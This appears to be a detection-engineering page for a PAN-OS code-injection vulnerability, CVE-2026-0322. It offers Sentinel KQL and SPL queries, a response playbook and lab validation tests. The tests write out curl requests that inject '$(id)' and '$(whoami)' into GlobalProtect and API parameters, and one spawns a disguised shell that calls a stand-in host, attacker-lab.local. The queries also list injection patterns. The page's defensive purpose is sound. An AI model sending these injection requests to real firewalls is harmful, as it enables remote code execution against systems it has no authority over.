CVE-2026-0322 Microsoft Sentinel · KQL

Detect Palo Alto Networks PAN-OS Code Injection (CVE-2026-0322) in Microsoft Sentinel

Detects exploitation attempts and post-exploitation activity associated with CVE-2026-0322, a code injection (CWE-94) vulnerability in Palo Alto Networks PAN-OS. The flaw is listed in the CISA KEV catalog and is being actively exploited in the wild for remote code execution against PAN-OS management and GlobalProtect interfaces. Detection focuses on anomalous requests to the PAN-OS management plane, injected command/code patterns in HTTP request bodies and URIs, and unexpected child processes or outbound connections spawned by PAN-OS web/management daemons.

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
let panHosts = dynamic(["PAN-OS", "PaloAlto", "GlobalProtect"]);
CommonSecurityLog
| where DeviceVendor has "Palo Alto" or DeviceProduct has "PAN-OS"
| where RequestURL has_any ("/global-protect/", "/sslmgr", "/php/utils/", "/api/", "/scripts/")
| where RequestMethod in ("POST", "PUT")
| where AdditionalExtensions has_any (";", "|", "$(", "`", "&&", "system(", "exec(", "passthru(", "eval(")
    or RequestURL has_any ("$(", "%24%28", "%60", "%7C", "system(", "eval(")
| extend SrcIp = SourceIP, DstIp = DestinationIP
| summarize RequestCount = count(), SampleUrls = make_set(RequestURL, 10), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by SrcIp, DstIp, DeviceName
| where RequestCount >= 1
| order by RequestCount desc
critical severity medium confidence

Flags HTTP POST/PUT requests to PAN-OS management/GlobalProtect endpoints containing shell metacharacters or code-injection primitives consistent with CVE-2026-0322 exploitation.

Data Sources

Palo Alto Networks firewall logs (CEF/Syslog)Network proxy logsMicrosoft Sentinel CommonSecurityLog

Required Tables

CommonSecurityLog

False Positives & Tuning

  • Legitimate automation/API clients submitting payloads that happen to contain special characters such as semicolons or pipes
  • Vulnerability scanners and authorized penetration tests probing management interfaces
  • Configuration backup/restore workflows posting large encoded payloads to the management API

Other platforms for CVE-2026-0322


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1 Simulated PAN-OS GlobalProtect code-injection request

    Expected signal: PAN-OS web/management log entry showing a POST to a GlobalProtect path containing '$(' and 'id' in the request body.

  2. Test 2 Simulated management API injection probe

    Expected signal: Management API log entry with a POST to /api/ containing '$(' and 'whoami'.

  3. Test 3 Post-exploit child process from web daemon (lab)

    Expected signal: Process start event showing a shell/curl child process parented to an appweb/management-daemon-named process.


Response Playbook

Triage

  1. Confirm the targeted device is a Palo Alto Networks PAN-OS firewall and identify the PAN-OS version via the management console or `show system info` to determine whether it is within the vulnerable range for CVE-2026-0322.
  2. Extract the source IP(s) of the injection requests and check against threat intelligence and the CISA KEV advisory; determine whether the source is internal, a known scanner, or an external attacker.
  3. Review the full HTTP request body and URI for the injected command/code and assess whether it would execute (e.g., reverse shell, file write, config exfiltration) versus a benign probe.
  4. Check the management plane for any new or modified administrator accounts, scheduled jobs, or configuration changes correlated in time with the suspicious requests.

Containment

  1. Restrict management-plane access to trusted administrative networks only and disable internet-facing GlobalProtect/management interfaces until patched.
  2. Apply the Palo Alto Networks fixed PAN-OS release or vendor-provided mitigation/threat-prevention signatures for CVE-2026-0322, then reboot and verify the running version.
  3. If compromise is confirmed, isolate the device from management and data networks and fail over to a known-good HA peer or spare appliance.

Evidence Collection

  1. Capture a tech-support file (`request tech-support dump`) and export management, GlobalProtect, and web server logs covering the exploitation window.
  2. Preserve full packet captures or proxy logs of the malicious requests and any resulting outbound connections for forensic analysis.

Escalation Criteria

  • !Escalate to incident response immediately if a child process, reverse shell, or outbound C2 connection is observed originating from the PAN-OS management daemon.
  • !Escalate to management and legal/compliance if configuration exfiltration, credential theft, or unauthorized admin account creation is confirmed, given the device's role as a security control.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >PAN-OS web server and management access logs showing POST/PUT requests with injection payloads
  • >Tech-support dump containing process lists, cron/scheduled jobs, and modified configuration elements
  • >Unexpected files written under writable web/management directories or new SSH keys in admin home directories

Tuning Guidance

Baseline legitimate sources of API/management traffic (orchestration servers, monitoring, backup tooling) and exclude their IPs. Tighten the metacharacter regex to the specific injection strings observed in your environment to reduce noise from benign payloads. Prioritize alerts where the source IP is external and the request is followed by an anomalous child process or outbound connection from the device.


Hunting Queries

Hunt for PAN-OS management requests containing code-injection primitives over the retention window to find earlier exploitation attempts.

Hunting — KQL
kql
CommonSecurityLog | where DeviceVendor has "Palo Alto" | where RequestURL has_any ("/global-protect/", "/sslmgr", "/php/utils/") | where AdditionalExtensions has_any ("$(", "`", "system(", "eval(") | project TimeGenerated, SourceIP, DestinationIP, RequestURL, RequestMethod
Hunting — SPL
spl
index=firewall sourcetype=pan:* (http_method=POST OR http_method=PUT) | regex _raw="(?i)(\$\(|`|system\(|eval\()" | table _time src_ip dest_ip url http_method

Atomic Red Team Tests

Test 1 Simulated PAN-OS GlobalProtect code-injection request
linux

Sends a POST request to a lab PAN-OS GlobalProtect endpoint with a shell-metacharacter payload to generate detection telemetry for CVE-2026-0322.

Command

bash
curl -k -X POST 'https://panos-lab.local/global-protect/portal/css/bootstrap.css' -d 'scep-profile-name=$(id>/tmp/poc_0322)' -H 'Content-Type: application/x-www-form-urlencoded'

Cleanup

bash
rm -f /tmp/poc_0322

Expected Telemetry

PAN-OS web/management log entry showing a POST to a GlobalProtect path containing '$(' and 'id' in the request body.

Expected Detection

The kql/spl queries flag the request based on the injection primitive in the body against a GlobalProtect endpoint.

Test 2 Simulated management API injection probe
linux

Issues a crafted request to the PAN-OS management API path containing command-substitution characters.

Command

bash
curl -k -X POST 'https://panos-lab.local/api/?type=op&cmd=<request><system>$(whoami)</system></request>' -H 'X-PAN-KEY: TESTKEY'

Cleanup

bash
echo 'no artifacts to clean'

Expected Telemetry

Management API log entry with a POST to /api/ containing '$(' and 'whoami'.

Expected Detection

Injection-pattern match on the /api/ endpoint triggers the detection across SIEM dialects.

Test 3 Post-exploit child process from web daemon (lab)
linux

Simulates a PAN-OS web daemon spawning a shell, mimicking successful RCE for endpoint-telemetry testing.

Command

bash
setsid bash -c 'exec -a appweb bash -c "sh -c \"curl http://attacker-lab.local/beacon\""' &

Cleanup

bash
pkill -f 'curl http://attacker-lab.local/beacon' 2>/dev/null; true

Expected Telemetry

Process start event showing a shell/curl child process parented to an appweb/management-daemon-named process.

Expected Detection

The elastic_eql sequence and crowdstrike_cql queries correlate the injection request with the anomalous child process.

Related Detections